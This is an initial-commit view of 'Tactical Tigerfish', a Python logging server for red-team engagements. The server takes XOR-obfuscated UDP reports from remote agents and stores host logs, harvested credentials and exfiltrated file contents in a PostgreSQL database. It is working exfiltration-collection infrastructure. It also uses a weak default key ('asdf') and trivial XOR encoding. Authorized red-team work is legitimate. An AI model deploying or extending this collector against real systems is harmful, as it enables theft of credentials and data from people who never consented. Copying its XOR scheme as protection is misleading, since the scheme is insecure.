Initial commit
This commit is contained in:
commit
64c58bde76
26
README.md
Normal file
26
README.md
Normal file
@ -0,0 +1,26 @@
|
||||
# Tactical Tigerfish
|
||||
|
||||
Tactical Tigerfish is a logging server for system information, credentials, and files in red team engagements.
|
||||
|
||||
## Setup
|
||||
### Install Requirements
|
||||
```bash
|
||||
pip install -r requirements.txt
|
||||
```
|
||||
|
||||
### Configure
|
||||
Either:
|
||||
|
||||
Update `ttf-server/config.yml` with your config values
|
||||
|
||||
**or**
|
||||
|
||||
Set environment variables
|
||||
|
||||
> **Note:** The values from `config.yml` are only used when `--debug` is passed when running the server.
|
||||
|
||||
### Run The Server
|
||||
```bash
|
||||
cd ttf-server
|
||||
python3 ttf-server.py
|
||||
```
|
||||
13
ttf-server/config.yml
Normal file
13
ttf-server/config.yml
Normal file
@ -0,0 +1,13 @@
|
||||
ttf_host: 0.0.0.0
|
||||
ttf_port: 3424
|
||||
|
||||
ttf_key: asdf
|
||||
|
||||
ttf_postgres_host:
|
||||
ttf_postgres_db_name:
|
||||
ttf_postgres_user:
|
||||
ttf_postgres_password:
|
||||
|
||||
ttf_log_file: ttf.log
|
||||
ttf_print_logs: true
|
||||
ttf_write_logs: true
|
||||
2
ttf-server/requirements.txt
Normal file
2
ttf-server/requirements.txt
Normal file
@ -0,0 +1,2 @@
|
||||
psycopg2-binary
|
||||
peewee
|
||||
4
ttf-server/tactical-tigerfish.py
Normal file
4
ttf-server/tactical-tigerfish.py
Normal file
@ -0,0 +1,4 @@
|
||||
import ttf
|
||||
|
||||
server = ttf.TTFServer(ttf.config.config['ttf_host'], ttf.config.config['ttf_port'])
|
||||
server.start()
|
||||
10
ttf-server/ttf/__init__.py
Normal file
10
ttf-server/ttf/__init__.py
Normal file
@ -0,0 +1,10 @@
|
||||
import sys
|
||||
|
||||
from .config import load_config
|
||||
|
||||
if '--debug' in sys.argv:
|
||||
load_config(debug=True)
|
||||
else:
|
||||
load_config()
|
||||
|
||||
from .server import TTFServer
|
||||
28
ttf-server/ttf/config.py
Normal file
28
ttf-server/ttf/config.py
Normal file
@ -0,0 +1,28 @@
|
||||
import yaml
|
||||
import os
|
||||
|
||||
config = {}
|
||||
|
||||
def parse_bool_env(var_name: str, default: str) -> bool:
|
||||
value = str(os.environ.get(var_name, default)).strip().lower()
|
||||
return value in ('1', 'true', 'yes', 'on')
|
||||
|
||||
def load_config(debug: bool = False):
|
||||
global config
|
||||
|
||||
if debug:
|
||||
with open('config.yml', 'r') as config_file:
|
||||
config = yaml.safe_load(config_file)
|
||||
else:
|
||||
config = {
|
||||
'ttf_host': str(os.environ.get('TTF_HOST', '0.0.0.0')),
|
||||
'ttf_port': int(os.environ.get('TTF_PORT', 3424)),
|
||||
'ttf_key': str(os.environ.get('TTF_KEY', 'asdf')),
|
||||
'ttf_postgres_host': str(os.environ.get('TTF_POSTGRES_HOST')),
|
||||
'ttf_postgres_db_name': str(os.environ.get('TTF_POSTGRES_DB_NAME')),
|
||||
'ttf_postgres_user': str(os.environ.get('TTF_POSTGRES_USER')),
|
||||
'ttf_postgres_password': str(os.environ.get('TTF_POSTGRES_PASSWORD')),
|
||||
'ttf_log_file': str(os.environ.get('TTF_LOG_FILE', 'ttf.log')),
|
||||
'ttf_print_logs': parse_bool_env('TTF_PRINT_LOGS', 'true'),
|
||||
'ttf_write_logs': parse_bool_env('TTF_WRITE_LOGS', 'true'),
|
||||
}
|
||||
49
ttf-server/ttf/database.py
Normal file
49
ttf-server/ttf/database.py
Normal file
@ -0,0 +1,49 @@
|
||||
import peewee
|
||||
|
||||
from .config import config
|
||||
|
||||
db = peewee.PostgresqlDatabase(config['ttf_postgres_db_name'], user=config['ttf_postgres_user'], host=config['ttf_postgres_host'], password=config['ttf_postgres_password'])
|
||||
|
||||
class Log(peewee.Model):
|
||||
agent_id = peewee.CharField(null=False)
|
||||
timestamp = peewee.BigIntegerField(null=False)
|
||||
tag = peewee.CharField()
|
||||
log = peewee.CharField(null=False)
|
||||
|
||||
class Meta:
|
||||
database = db
|
||||
db_table = 'logs'
|
||||
|
||||
class Credential(peewee.Model):
|
||||
agent_id = peewee.CharField(null=False)
|
||||
timestamp = peewee.BigIntegerField(null=False)
|
||||
username = peewee.CharField(null=False)
|
||||
secret = peewee.CharField(null=False)
|
||||
type = peewee.CharField(null=False)
|
||||
service = peewee.CharField(null=True)
|
||||
|
||||
class Meta:
|
||||
database = db
|
||||
db_table = 'credentials'
|
||||
|
||||
class File(peewee.Model):
|
||||
agent_id = peewee.CharField(null=False)
|
||||
timestamp = peewee.BigIntegerField(null=False)
|
||||
name = peewee.CharField(null=False)
|
||||
path = peewee.CharField(null=True)
|
||||
data = peewee.CharField(null=False)
|
||||
|
||||
class Meta:
|
||||
database = db
|
||||
db_table = 'files'
|
||||
|
||||
class Agent(peewee.Model):
|
||||
agent_id = peewee.CharField(null=False)
|
||||
last_log = peewee.BigIntegerField(null=False)
|
||||
logs = peewee.BigIntegerField(null=False, default=0)
|
||||
|
||||
class Meta:
|
||||
database = db
|
||||
db_table = 'agents'
|
||||
|
||||
db.create_tables([Log, Agent, Credential, File])
|
||||
17
ttf-server/ttf/logging.py
Normal file
17
ttf-server/ttf/logging.py
Normal file
@ -0,0 +1,17 @@
|
||||
from .config import config
|
||||
from datetime import datetime
|
||||
|
||||
class LogLevel:
|
||||
INFO = '[INFO]'
|
||||
WARN = '[WARNING]'
|
||||
ERROR = '[ERROR]'
|
||||
|
||||
def log_message(level: LogLevel, message: str) -> None:
|
||||
log = f'{level} - {datetime.now().strftime("%Y-%m-%d %H:%M:%S")} - {message}\n'
|
||||
|
||||
if config['ttf_print_logs']:
|
||||
print(log, end='')
|
||||
|
||||
if config['ttf_write_logs']:
|
||||
with open(config['ttf_log_file'], 'a') as log_file:
|
||||
log_file.write(log)
|
||||
79
ttf-server/ttf/server.py
Normal file
79
ttf-server/ttf/server.py
Normal file
@ -0,0 +1,79 @@
|
||||
import socket
|
||||
import threading
|
||||
import random
|
||||
import json
|
||||
import time
|
||||
|
||||
from .config import config
|
||||
from . import database
|
||||
from .logging import log_message, LogLevel
|
||||
|
||||
class TTFServer:
|
||||
def __init__(self, host: str, port: int) -> None:
|
||||
self.host = host
|
||||
self.port = port
|
||||
|
||||
self.server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
self.server_socket.bind((self.host, self.port))
|
||||
|
||||
self.key = config['ttf_key']
|
||||
|
||||
def __xor_message(self, msg: str) -> str:
|
||||
xored = ''
|
||||
|
||||
for i in range(len(msg)):
|
||||
xored += chr(ord(msg[i]) ^ ord(self.key[i % len(self.key)]))
|
||||
|
||||
return(xored)
|
||||
|
||||
def __client_handler(self, address: tuple, msg: bytes) -> None:
|
||||
log_message(LogLevel.INFO, f'Connection from {address[0]}')
|
||||
|
||||
try:
|
||||
message_json = json.loads(self.__xor_message(msg.decode('utf-8')))
|
||||
|
||||
# Do we already have the agent?
|
||||
if len(database.Agent.select().where(database.Agent.agent_id == message_json['id']).dicts()) == 0:
|
||||
database.Agent.create(agent_id=message_json['id'], last_log=round(time.time()), logs=0) # Add it
|
||||
|
||||
# Get report type
|
||||
if 'logs' in message_json: # Logs
|
||||
for log in message_json['logs']:
|
||||
database.Log.create(agent_id=message_json['id'], timestamp=round(time.time()), tag=log['tag'], log=log['log'])
|
||||
|
||||
elif 'creds' in message_json: # Credentials
|
||||
for credential in message_json['creds']:
|
||||
cred_service = None
|
||||
if 'service' in credential:
|
||||
cred_service = credential['service']
|
||||
|
||||
database.Credential.create(agent_id=message_json['id'], timestamp=round(time.time()), username=credential['user'], secret=credential['secret'], type=credential['type'], service=cred_service)
|
||||
|
||||
elif 'files' in message_json: # Files
|
||||
for file in message_json['files']:
|
||||
file_path = None
|
||||
if 'path' in file:
|
||||
file_path = file['path']
|
||||
|
||||
database.File.create(agent_id=message_json['id'], timestamp=round(time.time()), name=file['name'], path=file_path, data=file['data'])
|
||||
|
||||
else: # Report does not have a log
|
||||
log_message(LogLevel.WARN, f'{address[0]} sent a report with no type.')
|
||||
|
||||
# Update the agent's logs count and last_log
|
||||
database.Agent.update(logs=database.Agent.logs + 1, last_log=round(time.time())).where(database.Agent.agent_id == message_json['id']).execute()
|
||||
|
||||
log_message(LogLevel.INFO, f'{address[0]}\'s message: {str(message_json)}')
|
||||
|
||||
except Exception as e:
|
||||
log_message(LogLevel.ERROR, f'Failed to proccess message from {address[0]}. Error: {e}')
|
||||
|
||||
def start(self) -> None:
|
||||
while True:
|
||||
try:
|
||||
msg, address = self.server_socket.recvfrom(1024)
|
||||
|
||||
client = threading.Thread(target=self.__client_handler, args=(address,msg))
|
||||
client.start()
|
||||
except Exception as e:
|
||||
log_message(LogLevel.ERROR, f'Failed to accept to connection from {address[0]}. Reason: {e}')
|
||||
Loading…
x
Reference in New Issue
Block a user